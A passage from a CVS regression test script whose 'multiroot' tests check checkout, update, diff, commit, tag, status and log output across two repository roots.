mod2-1/file2-1;\n${CVSROOT2_DIRNAME}/mod2-1/file2-1,v <-- file2-1\ninitial revision: 1.1\ndone\nRCS file: ${CVSROOT2_DIRNAME}/mod2-2/file2-2,v\ndone\nChecking in mod2-2/file2-2;\n${CVSROOT2_DIRNAME}/mod2-2/file2-2,v <-- file2-2\ninitial revision: 1.1\ndone\"\n\t cd ..\n\t rm -rf 1\n\n\t # check out a few directories, from simple/shallow to\n\t # complex/deep\n\t mkdir 1; cd 1\n\n\t # OK, this case is kind of weird. If we just run things from\n\t # here, without CVS/Root, then CVS will contact the server\n\t # mentioned in CVSROOT (which is irrelevant) which will print\n\t # some messages. Our workaround is to make sure we have a\n\t # CVS/Root file at top level. In the future, it is possible\n\t # the best behavior will be to extend the existing behavior\n\t # (\"being called from a directory without CVS administration\n\t # has always meant to process each of the sub-dirs\") to also\n\t # do that if there is no CVSROOT, CVS/Root, or -d at top level.\n\t # \n\t # The local case could stumble through the tests without creating\n\t # the top-level CVS/Root, but we create it for local and for\n\t # remote to reduce special cases later in the test.\n\t dotest multiroot-workaround \"${testcvs1} -q co -l .\" \"\"\n\n\t dotest multiroot-setup-11 \"${testcvs1} co mod1-1 mod1-2\" \\\n\"${PROG} checkout: Updating mod1-1\nU mod1-1/file1-1\n${PROG} checkout: Updating mod1-2\nU mod1-2/file1-2\"\n\t dotest multiroot-setup-12 \"${testcvs2} co mod2-1 mod2-2\" \\\n\"${PROG} checkout: Updating mod2-1\nU mod2-1/file2-1\n${PROG} checkout: Updating mod2-2\nU mod2-2/file2-2\"\n\t cd mod1-2\n\t dotest multiroot-setup-13 \"${testcvs2} co mod2-2\" \\\n\"${PROG} checkout: Updating mod2-2\nU mod2-2/file2-2\"\n\t cd ..\n\t cd mod2-2\n\t dotest multiroot-setup-14 \"${testcvs1} co mod1-2\" \\\n\"${PROG} checkout: Updating mod1-2\nU mod1-2/file1-2\"\n\t cd ..\n\n\t #\n\t # Make sure that the Root and Repository files contain the\n\t # correct information.\n\t #\n\t dotest multiroot-cvsadm-1a \"cat mod1-1/CVS/Root\" \"${CVSROOT1}\"\n\t dotest multiroot-cvsadm-1b \"cat mod1-1/CVS/Repository\" \"mod1-1\"\n\t dotest multiroot-cvsadm-2a \"cat mod2-1/CVS/Root\" \"${CVSROOT2}\"\n\t dotest multiroot-cvsadm-2b \"cat mod2-1/CVS/Repository\" \"mod2-1\"\n\t dotest multiroot-cvsadm-3a \"cat mod1-2/CVS/Root\" \"${CVSROOT1}\"\n\t dotest multiroot-cvsadm-3b \"cat mod1-2/CVS/Repository\" \"mod1-2\"\n\t dotest multiroot-cvsadm-3c \"cat mod1-2/mod2-2/CVS/Root\" \"${CVSROOT2}\"\n\t dotest multiroot-cvsadm-3d \"cat mod1-2/mod2-2/CVS/Repository\" \"mod2-2\"\n\t dotest multiroot-cvsadm-4a \"cat mod2-2/CVS/Root\" \"${CVSROOT2}\"\n\t dotest multiroot-cvsadm-4b \"cat mod2-2/CVS/Repository\" \"mod2-2\"\n\t dotest multiroot-cvsadm-4c \"cat mod2-2/mod1-2/CVS/Root\" \"${CVSROOT1}\"\n\t dotest multiroot-cvsadm-4d \"cat mod2-2/mod1-2/CVS/Repository\" \"mod1-2\"\n\n\t #\n\t # Start testing various cvs commands. Begin with commands\n\t # without extra arguments (e.g. \"cvs update\", \"cvs diff\",\n\t # etc.\n\t #\n\n\t # Do at least one command with both CVSROOTs to make sure\n\t # that there's not some kind of unexpected dependency on the\n\t # choice of which CVSROOT is specified on the command line.\n\n\t dotest multiroot-update-1a \"${testcvs1} update\" \\\n\"${PROG} update: Updating \\.\n${PROG} update: Updating mod1-1\n${PROG} update: Updating mod1-2\n${PROG} update: Updating mod1-2/mod2-2\n${PROG} update: cannot open directory ${CVSROOT1_DIRNAME}/mod2-2: No such file or directory\n${PROG} update: skipping directory mod1-2/mod2-2\n${PROG} update: Updating mod2-1\n${PROG} update: cannot open directory ${CVSROOT1_DIRNAME}/mod2-1: No such file or directory\n${PROG} update: skipping directory mod2-1\n${PROG} update: Updating mod2-2\n${PROG} update: cannot open directory ${CVSROOT1_DIRNAME}/mod2-2: No such file or directory\n${PROG} update: skipping directory mod2-2\"\n\n\t # Same deal but with -d ${CVSROOT2}.\n\t dotest multiroot-update-1b \"${testcvs2} update\" \\\n\"${PROG} update: Updating \\.\n${PROG} update: Updating mod1-1\n${PROG} update: cannot open directory ${CVSROOT2_DIRNAME}/mod1-1: No such file or directory\n${PROG} update: skipping directory mod1-1\n${PROG} update: Updating mod1-2\n${PROG} update: cannot open directory ${CVSROOT2_DIRNAME}/mod1-2: No such file or directory\n${PROG} update: skipping directory mod1-2\n${PROG} update: Updating mod2-1\n${PROG} update: Updating mod2-2\n${PROG} update: Updating mod2-2/mod1-2\n${PROG} update: cannot open directory ${CVSROOT2_DIRNAME}/mod1-2: No such file or directory\n${PROG} update: skipping directory mod2-2/mod1-2\"\n\n\t # modify all files and do a diff\n\n\t echo bobby >> mod1-1/file1-1\n\t echo brown >> mod1-2/file1-2\n\t echo goes >> mod2-1/file2-1\n\t echo down >> mod2-2/file2-2\n\n\t dotest_fail multiroot-diff-1 \"${testcvs} diff\" \\\n\"${PROG} diff: Diffing \\.\n${PROG} diff: Diffing mod1-1\nIndex: mod1-1/file1-1\n===================================================================\nRCS file: ${TESTDIR}/root1/mod1-1/file1-1,v\nretrieving revision 1\\.1\ndiff -r1\\.1 file1-1\n1a2\n> bobby\n${PROG} diff: Diffing mod1-2\nIndex: mod1-2/file1-2\n===================================================================\nRCS file: ${TESTDIR}/root1/mod1-2/file1-2,v\nretrieving revision 1\\.1\ndiff -r1\\.1 file1-2\n1a2\n> brown\n${PROG} diff: Diffing mod2-2/mod1-2\n${PROG} diff: Diffing mod1-2/mod2-2\n${PROG} diff: Diffing mod2-1\nIndex: mod2-1/file2-1\n===================================================================\nRCS file: ${TESTDIR}/root2/mod2-1/file2-1,v\nretrieving revision 1\\.1\ndiff -r1\\.1 file2-1\n1a2\n> goes\n${PROG} diff: Diffing mod2-2\nIndex: mod2-2/file2-2\n===================================================================\nRCS file: ${TESTDIR}/root2/mod2-2/file2-2,v\nretrieving revision 1\\.1\ndiff -r1\\.1 file2-2\n1a2\n> down\" \\\n\"${PROG} diff: Diffing \\.\n${PROG} diff: Diffing mod1-1\nIndex: mod1-1/file1-1\n===================================================================\nRCS file: ${TESTDIR}/root1/mod1-1/file1-1,v\nretrieving revision 1\\.1\ndiff -r1\\.1 file1-1\n1a2\n> bobby\n${PROG} diff: Diffing mod1-2\nIndex: mod1-2/file1-2\n===================================================================\nRCS file: ${TESTDIR}/root1/mod1-2/file1-2,v\nretrieving revision 1\\.1\ndiff -r1\\.1 file1-2\n1a2\n> brown\n${PROG} diff: Diffing mod2-2\n${PROG} diff: Diffing mod2-2/mod1-2\n${PROG} diff: Diffing mod1-2\n${PROG} diff: Diffing mod1-2/mod2-2\n${PROG} diff: Diffing mod2-1\nIndex: mod2-1/file2-1\n===================================================================\nRCS file: ${TESTDIR}/root2/mod2-1/file2-1,v\nretrieving revision 1\\.1\ndiff -r1\\.1 file2-1\n1a2\n> goes\n${PROG} diff: Diffing mod2-2\nIndex: mod2-2/file2-2\n===================================================================\nRCS file: ${TESTDIR}/root2/mod2-2/file2-2,v\nretrieving revision 1\\.1\ndiff -r1\\.1 file2-2\n1a2\n> down\"\n\n\t dotest multiroot-commit-1 \"${testcvs} commit -m actually\" \\\n\"${PROG} [a-z]*: Examining \\.\n${PROG} [a-z]*: Examining mod1-1\n${PROG} [a-z]*: Examining mod1-2\n${PROG} [a-z]*: Examining mod2-2/mod1-2\nChecking in mod1-1/file1-1;\n${TESTDIR}/root1/mod1-1/file1-1,v <-- file1-1\nnew revision: 1.2; previous revision: 1.1\ndone\nChecking in mod1-2/file1-2;\n${TESTDIR}/root1/mod1-2/file1-2,v <-- file1-2\nnew revision: 1.2; previous revision: 1.1\ndone\n${PROG} [a-z]*: Examining mod1-2/mod2-2\n${PROG} [a-z]*: Examining mod2-1\n${PROG} [a-z]*: Examining mod2-2\nChecking in mod2-1/file2-1;\n${TESTDIR}/root2/mod2-1/file2-1,v <-- file2-1\nnew revision: 1.2; previous revision: 1.1\ndone\nChecking in mod2-2/file2-2;\n${TESTDIR}/root2/mod2-2/file2-2,v <-- file2-2\nnew revision: 1.2; previous revision: 1.1\ndone\"\n\n\t dotest multiroot-update-2 \"${testcvs} update\" \\\n\"${PROG} update: Updating \\.\n${PROG} [a-z]*: Updating mod1-1\n${PROG} [a-z]*: Updating mod1-2\n${PROG} [a-z]*: Updating mod2-2/mod1-2\nU mod2-2/mod1-2/file1-2\n${PROG} [a-z]*: Updating mod1-2/mod2-2\nU mod1-2/mod2-2/file2-2\n${PROG} update: Updating mod2-1\n${PROG} update: Updating mod2-2\" \\\n\"${PROG} update: Updating \\.\n${PROG} update: Updating mod1-1\n${PROG} update: Updating mod1-2\n${PROG} update: Updating mod2-2\n${PROG} update: Updating mod2-2/mod1-2\nP mod2-2/mod1-2/file1-2\n${PROG} update: Updating mod1-2\n${PROG} update: Updating mod1-2/mod2-2\nP mod1-2/mod2-2/file2-2\n${PROG} update: Updating mod2-1\n${PROG} update: Updating mod2-2\"\n\n\t dotest multiroot-tag-1 \"${testcvs} tag cattle\" \\\n\"${PROG} tag: Tagging \\.\n${PROG} tag: Tagging mod1-1\nT mod1-1/file1-1\n${PROG} tag: Tagging mod1-2\nT mod1-2/file1-2\n${PROG} tag: Tagging mod2-2/mod1-2\n${PROG} tag: Tagging mod1-2/mod2-2\nT mod1-2/mod2-2/file2-2\n${PROG} tag: Tagging mod2-1\nT mod2-1/file2-1\n${PROG} tag: Tagging mod2-2\" \\\n\"${PROG} tag: Tagging \\.\n${PROG} tag: Tagging mod1-1\nT mod1-1/file1-1\n${PROG} tag: Tagging mod1-2\nT mod1-2/file1-2\n${PROG} tag: Tagging mod2-2\n${PROG} tag: Tagging mod2-2/mod1-2\n${PROG} tag: Tagging mod1-2\n${PROG} tag: Tagging mod1-2/mod2-2\nT mod1-2/mod2-2/file2-2\n${PROG} tag: Tagging mod2-1\nT mod2-1/file2-1\n${PROG} tag: Tagging mod2-2\"\n\n\t echo anotherfile1-1 > mod1-1/anotherfile1-1\n\t echo anotherfile2-1 > mod2-1/anotherfile2-1\n\t echo anotherfile1-2 > mod2-2/mod1-2/anotherfile1-2\n\t echo anotherfile2-2 > mod1-2/mod2-2/anotherfile2-2\n\n\t if $remote; then\n\t cd mod1-1\n\t dotest multiroot-add-1ar \"${testcvs} add anotherfile1-1\" \\\n\"${PROG} add: scheduling file .anotherfile1-1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t cd ../mod2-1\n\t dotest multiroot-add-1br \"${testcvs} add anotherfile2-1\" \\\n\"${PROG} add: scheduling file .anotherfile2-1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t cd ../mod2-2/mod1-2\n\t dotest multiroot-add-1cr \"${testcvs} add anotherfile1-2\" \\\n\"${PROG} add: scheduling file .anotherfile1-2. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t cd ../../mod1-2/mod2-2\n\t dotest multiroot-add-1dr \"${testcvs} add anotherfile2-2\" \\\n\"${PROG} add: scheduling file .anotherfile2-2. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t cd ../..\n else\n\t dotest multiroot-add-1 \"${testcvs} add mod1-1/anotherfile1-1 mod2-1/anotherfile2-1 mod2-2/mod1-2/anotherfile1-2 mod1-2/mod2-2/anotherfile2-2\" \\\n\"${PROG} add: scheduling file .mod1-1/anotherfile1-1. for addition\n${PROG} add: scheduling file .mod2-1/anotherfile2-1. for addition\n${PROG} add: scheduling file .mod2-2/mod1-2/anotherfile1-2. for addition\n${PROG} add: scheduling file .mod1-2/mod2-2/anotherfile2-2. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n fi\n\n\t dotest multiroot-status-1 \"${testcvs} status -v\" \\\n\"${PROG} status: Examining \\.\n${PROG} status: Examining mod1-1\n===================================================================\nFile: anotherfile1-1 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file1-1 \tStatus: Up-to-date\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT1_DIRNAME}/mod1-1/file1-1,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n Existing Tags:\n\tcattle \t(revision: 1\\.2)\n\n${PROG} status: Examining mod1-2\n===================================================================\nFile: file1-2 \tStatus: Up-to-date\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT1_DIRNAME}/mod1-2/file1-2,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n Existing Tags:\n\tcattle \t(revision: 1\\.2)\n\n${PROG} status: Examining mod2-2/mod1-2\n===================================================================\nFile: anotherfile1-2 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file1-2 \tStatus: Up-to-date\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT1_DIRNAME}/mod1-2/file1-2,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n Existing Tags:\n\tcattle \t(revision: 1\\.2)\n\n${PROG} status: Examining mod1-2/mod2-2\n===================================================================\nFile: anotherfile2-2 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file2-2 \tStatus: Up-to-date\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT2_DIRNAME}/mod2-2/file2-2,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n Existing Tags:\n\tcattle \t(revision: 1\\.2)\n\n${PROG} status: Examining mod2-1\n===================================================================\nFile: anotherfile2-1 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file2-1 \tStatus: Up-to-date\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT2_DIRNAME}/mod2-1/file2-1,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n Existing Tags:\n\tcattle \t(revision: 1\\.2)\n\n${PROG} status: Examining mod2-2\n===================================================================\nFile: file2-2 \tStatus: Up-to-date\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT2_DIRNAME}/mod2-2/file2-2,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n Existing Tags:\n\tcattle \t(revision: 1\\.2)\" \\\n\"${PROG} status: Examining \\.\n${PROG} status: Examining mod1-1\n===================================================================\nFile: anotherfile1-1 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file1-1 \tStatus: Up-to-date\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT1_DIRNAME}/mod1-1/file1-1,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n Existing Tags:\n\tcattle \t(revision: 1\\.2)\n\n${PROG} status: Examining mod1-2\n===================================================================\nFile: file1-2 \tStatus: Up-to-date\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT1_DIRNAME}/mod1-2/file1-2,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n Existing Tags:\n\tcattle \t(revision: 1\\.2)\n\n${PROG} status: Examining mod2-2\n${PROG} status: Examining mod2-2/mod1-2\n===================================================================\nFile: anotherfile1-2 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file1-2 \tStatus: Up-to-date\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT1_DIRNAME}/mod1-2/file1-2,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n Existing Tags:\n\tcattle \t(revision: 1\\.2)\n\n${PROG} status: Examining mod1-2\n${PROG} status: Examining mod1-2/mod2-2\n===================================================================\nFile: anotherfile2-2 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file2-2 \tStatus: Up-to-date\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT2_DIRNAME}/mod2-2/file2-2,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n Existing Tags:\n\tcattle \t(revision: 1\\.2)\n\n${PROG} status: Examining mod2-1\n===================================================================\nFile: anotherfile2-1 \tStatus: Locally Added\n\n Working revision:\tNew file!\n Repository revision:\tNo revision control file\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n===================================================================\nFile: file2-1 \tStatus: Up-to-date\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT2_DIRNAME}/mod2-1/file2-1,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n Existing Tags:\n\tcattle \t(revision: 1\\.2)\n\n${PROG} status: Examining mod2-2\n===================================================================\nFile: file2-2 \tStatus: Up-to-date\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT2_DIRNAME}/mod2-2/file2-2,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n Existing Tags:\n\tcattle \t(revision: 1\\.2)\"\n\n\t dotest multiroot-commit-2 \"${testcvs} commit -m reading\" \\\n\"${PROG} [a-z]*: Examining \\.\n${PROG} [a-z]*: Examining mod1-1\n${PROG} [a-z]*: Examining mod1-2\n${PROG} [a-z]*: Examining mod2-2/mod1-2\nRCS file: ${CVSROOT1_DIRNAME}/mod1-1/anotherfile1-1,v\ndone\nChecking in mod1-1/anotherfile1-1;\n${CVSROOT1_DIRNAME}/mod1-1/anotherfile1-1,v <-- anotherfile1-1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT1_DIRNAME}/mod1-2/anotherfile1-2,v\ndone\nChecking in mod2-2/mod1-2/anotherfile1-2;\n${CVSROOT1_DIRNAME}/mod1-2/anotherfile1-2,v <-- anotherfile1-2\ninitial revision: 1\\.1\ndone\n${PROG} [a-z]*: Examining mod1-2/mod2-2\n${PROG} [a-z]*: Examining mod2-1\n${PROG} [a-z]*: Examining mod2-2\nRCS file: ${CVSROOT2_DIRNAME}/mod2-2/anotherfile2-2,v\ndone\nChecking in mod1-2/mod2-2/anotherfile2-2;\n${CVSROOT2_DIRNAME}/mod2-2/anotherfile2-2,v <-- anotherfile2-2\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT2_DIRNAME}/mod2-1/anotherfile2-1,v\ndone\nChecking in mod2-1/anotherfile2-1;\n${CVSROOT2_DIRNAME}/mod2-1/anotherfile2-1,v <-- anotherfile2-1\ninitial revision: 1\\.1\ndone\"\n\n\t dotest multiroot-update-3 \"${testcvs} update\" \\\n\"${PROG} update: Updating \\.\n${PROG} [a-z]*: Updating mod1-1\n${PROG} [a-z]*: Updating mod1-2\nU mod1-2/anotherfile1-2\n${PROG} [a-z]*: Updating mod2-2/mod1-2\n${PROG} [a-z]*: Updating mod1-2/mod2-2\n${PROG} [a-z]*: Updating mod2-1\n${PROG} [a-z]*: Updating mod2-2\nU mod2-2/anotherfile2-2\" \\\n\"${PROG} update: Updating \\.\n${PROG} update: Updating mod1-1\n${PROG} update: Updating mod1-2\nU mod1-2/anotherfile1-2\n${PROG} update: Updating mod2-2\n${PROG} update: Updating mod2-2/mod1-2\n${PROG} update: Updating mod1-2\n${PROG} update: Updating mod1-2/mod2-2\n${PROG} update: Updating mod2-1\n${PROG} update: Updating mod2-2\nU mod2-2/anotherfile2-2\"\n\n\t dotest multiroot-log-1 \"${testcvs} log\" \\\n\"${PROG} log: Logging \\.\n${PROG} log: Logging mod1-1\n\nRCS file: ${CVSROOT1_DIRNAME}/mod1-1/anotherfile1-1,v\nWorking file: mod1-1/anotherfile1-1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nreading\n=============================================================================\n\nRCS file: ${CVSROOT1_DIRNAME}/mod1-1/file1-1,v\nWorking file: mod1-1/file1-1\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tcattle: 1\\.2\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nactually\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nis\n=============================================================================\n${PROG} log: Logging mod1-2\n\nRCS file: ${CVSROOT1_DIRNAME}/mod1-2/anotherfile1-2,v\nWorking file: mod1-2/anotherfile1-2\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nreading\n=============================================================================\n\nRCS file: ${CVSROOT1_DIRNAME}/mod1-2/file1-2,v\nWorking file: mod1-2/file1-2\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tcattle: 1\\.2\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nactually\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nis\n=============================================================================\n${PROG} log: Logging mod2-2/mod1-2\n\nRCS file: ${CVSROOT1_DIRNAME}/mod1-2/anotherfile1-2,v\nWorking file: mod2-2/mod1-2/anotherfile1-2\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nreading\n=============================================================================\n\nRCS file: ${CVSROOT1_DIRNAME}/mod1-2/file1-2,v\nWorking file: mod2-2/mod1-2/file1-2\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tcattle: 1\\.2\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nactually\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nis\n=============================================================================\n${PROG} log: Logging mod1-2/mod2-2\n\nRCS file: ${CVSROOT2_DIRNAME}/mod2-2/anotherfile2-2,v\nWorking file: mod1-2/mod2-2/anotherfile2-2\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nreading\n=============================================================================\n\nRCS file: ${CVSROOT2_DIRNAME}/mod2-2/file2-2,v\nWorking file: mod1-2/mod2-2/file2-2\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tcattle: 1\\.2\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nactually\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nanyone\n=============================================================================\n${PROG} log: Logging mod2-1\n\nRCS file: ${CVSROOT2_DIRNAME}/mod2-1/anotherfile2-1,v\nWorking file: mod2-1/anotherfile2-1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nreading\n=============================================================================\n\nRCS file: ${CVSROOT2_DIRNAME}/mod2-1/file2-1,v\nWorking file: mod2-1/file2-1\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tcattle: 1\\.2\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nactually\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nanyone\n=============================================================================\n${PROG} log: Logging mod2-2\n\nRCS file: ${CVSROOT2_DIRNAME}/mod2-2/anotherfile2-2,v\nWorking file: mod2-2/anotherfile2-2\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nreading\n=============================================================================\n\nRCS file: ${CVSROOT2_DIRNAME}/mod2-2/file2-2,v\nWorking file: mod2-2/file2-2\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tcattle: 1\\.2\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nactually\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nanyone\n=============================================================================\" \\\n\"${PROG} log: Logging \\.\n${PROG} log: Logging mod1-1\n\nRCS file: ${CVSROOT1_DIRNAME}/mod1-1/anotherfile1-1,v\nWorking file: mod1-1/anotherfile1-1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nreading\n=============================================================================\n\nRCS file: ${CVSROOT1_DIRNAME}/mod1-1/file1-1,v\nWorking file: mod1-1/file1-1\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tcattle: 1\\.2\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nactually\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nis\n=============================================================================\n${PROG} log: Logging mod1-2\n\nRCS file: ${CVSROOT1_DIRNAME}/mod1-2/anotherfile1-2,v\nWorking file: mod1-2/anotherfile1-2\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nreading\n=============================================================================\n\nRCS file: ${CVSROOT1_DIRNAME}/mod1-2/file1-2,v\nWorking file: mod1-2/file1-2\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tcattle: 1\\.2\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nactually\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nis\n=============================================================================\n${PROG} log: Logging mod2-2\n${PROG} log: Logging mod2-2/mod1-2\n\nRCS file: ${CVSROOT1_DIRNAME}/mod1-2/anotherfile1-2,v\nWorking file: mod2-2/mod1-2/anotherfile1-2\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nreading\n=============================================================================\n\nRCS file: ${CVSROOT1_DIRNAME}/mod1-2/file1-2,v\nWorking file: mod2-2/mod1-2/file1-2\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\nsymbolic 